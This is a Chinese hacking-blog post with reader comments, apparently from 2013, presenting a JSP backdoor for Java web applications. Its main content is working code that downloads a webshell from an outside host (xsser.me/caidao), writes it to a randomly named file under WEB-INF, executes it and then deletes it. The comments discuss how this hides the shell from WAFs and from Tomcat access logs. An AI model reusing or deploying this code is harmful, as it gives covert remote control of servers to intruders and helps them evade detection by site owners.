记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

JavaWeb随机后门?

2013-10-29 01:55

我的思路是先从远程读取要生成的shell内容,然后把shell藏在WEB-INF下shell的名字和长度也都随机生成。比如:

把shell藏在WEB-INF下shell的名字和长度也都随机生成

不过就算藏在WEB-INF下也会被发现,干脆用一次就删一次?这样不会在任何目录下留下Shell。

用一次就删一次?

菜刀链接:http://localhost/Demo2/new.jsp?url=http://xsser.me/caidao/css.jsp

<%@ page language="java" import="java.io.*,java.net.*,java.util.*" pageEncoding="UTF-8"%>
<%!
String getConnection(String url) {
String result="",line="";
try {
URL realUrl = new URL(url);
URLConnection connection = realUrl.openConnection();
connection.setConnectTimeout(15000);
connection.setReadTimeout(15000);
connection.connect();
BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));
while ((line = in.readLine()) != null) {
result += line;
}
} catch (Exception e) {
e.printStackTrace();
}
return result;
}

void writeShell(String url,String path){
try{
RandomAccessFile rf = new RandomAccessFile(path, "rw");
rf.write(new String(getConnection(url)).getBytes());
rf.close();
}catch(Exception e){
e.printStackTrace();
}
}

String getRandomString(int length) {
String base = "abcdefghijklmnopqrstuvwxyz0123456789";
Random random = new Random();
StringBuffer sb = new StringBuffer();
for (int i = 0; i < length; i++) {
int number = random.nextInt(base.length());
sb.append(base.charAt(number));
}
return sb.toString();
}

String getRequestFile(HttpServletRequest request){
return "/WEB-INF/classes/"+getRandomString(new Random().nextInt(10)+1)+".jsp";
}
%>
<%
String f = getRequestFile(request),p = request.getSession().getServletContext().getRealPath("/")+f;
writeShell(request.getParameter("url"),p);
request.getRequestDispatcher(f).forward(request,response);
new File(p).delete();
%>

测试的时候还发现了一个jspx和jsp的一个小秘密:

用jspx的语法可以直接适用于jsp,也就是说可以把http://xsser.me/caidao/jspx.jspx的内容copy,然后保存到一个jsp文件里面一样可以正常访问。

现在要做的就是怎么去藏生成后门的代码了。

[原文地址]

相关吐槽:

1#

yexin | 2013-10-27 14:24

前排留名。

2#

淡漠天空 (路人的世界) | 2013-10-27 14:30

用jspx的语法可以直接适用于jsp,也就是说可以把http://xsser.me/caidao/jspx.jspx的内容copy,然后保存到一个jsp文件里面一样可以正常访问。

这个的确 。。。。。也是不久前发现的

3#

核心白帽子 (发标题党的草泥马) | 2013-10-27 14:36

还不如放一个jsp的一句话上去每次要用的时候上传一个jsp大马 用完了之后将jsp大马删除..

跟你这也没多大区别..看不出这样有什么方便隐藏的优势

4#

园长 (你在身边就是缘,缘分写在数据库里面。) | 2013-10-27 15:31

@核心白帽子 其实也没什么大的不同,只是记录一下。一点小区别,第一这个后门存在WEB-INF直接请求http://xxx.com/WEB-INF/xxx.jsp请求不到,某些WAF可能不会检查WEB-INF下的jsp。第二accesslog记录。

5#

Coody (&_&) | 2013-10-27 15:56

@园长 accesslog不记录 WEB-INF/ 下的文件访问么?

6#

龙臣 (据说共产党员的老婆更漂亮。) | 2013-10-27 16:02

传错了 忽略之

7#

淡漠天空 (路人的世界) | 2013-10-27 16:18

@园长 国内还好 国外的WEB-INF根本无权限 某些限定环境下是行不通的

8#

淡漠天空 (路人的世界) | 2013-10-27 16:19

WAF的规则决定能不能访问或者动WEB-INF 太局限了。。。

9#

园长 (你在身边就是缘,缘分写在数据库里面。) | 2013-10-27 17:03

@Coody 请求shell会accesslog会记录下来的完整shell路径请求上面的后门记录的应该是参数。

测试了下Tomcat的Accesslog没有记录getRequestDispatcher forward的地址和参数:

0:0:0:0:0:0:0:1 - - [27/Oct/2013:17:01:42 +0800] "POST /Demo2/new.jsp?url=http://xsser.me/caidao/css.jsp HTTP/1.1" 200 296

10#

wefgod (求大牛指点) | 2013-10-28 08:54

园长之前不是说filter可以?那个好像比较好

知识来源: lcx.cc/?i=3969

阅读:215355 | 评论:1 | 标签:后门

想收藏或者和大家分享这篇好文章→复制链接地址

“JavaWeb随机后门?”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

九层之台,起于累土;黑客之术,始于阅读

推广

工具

标签云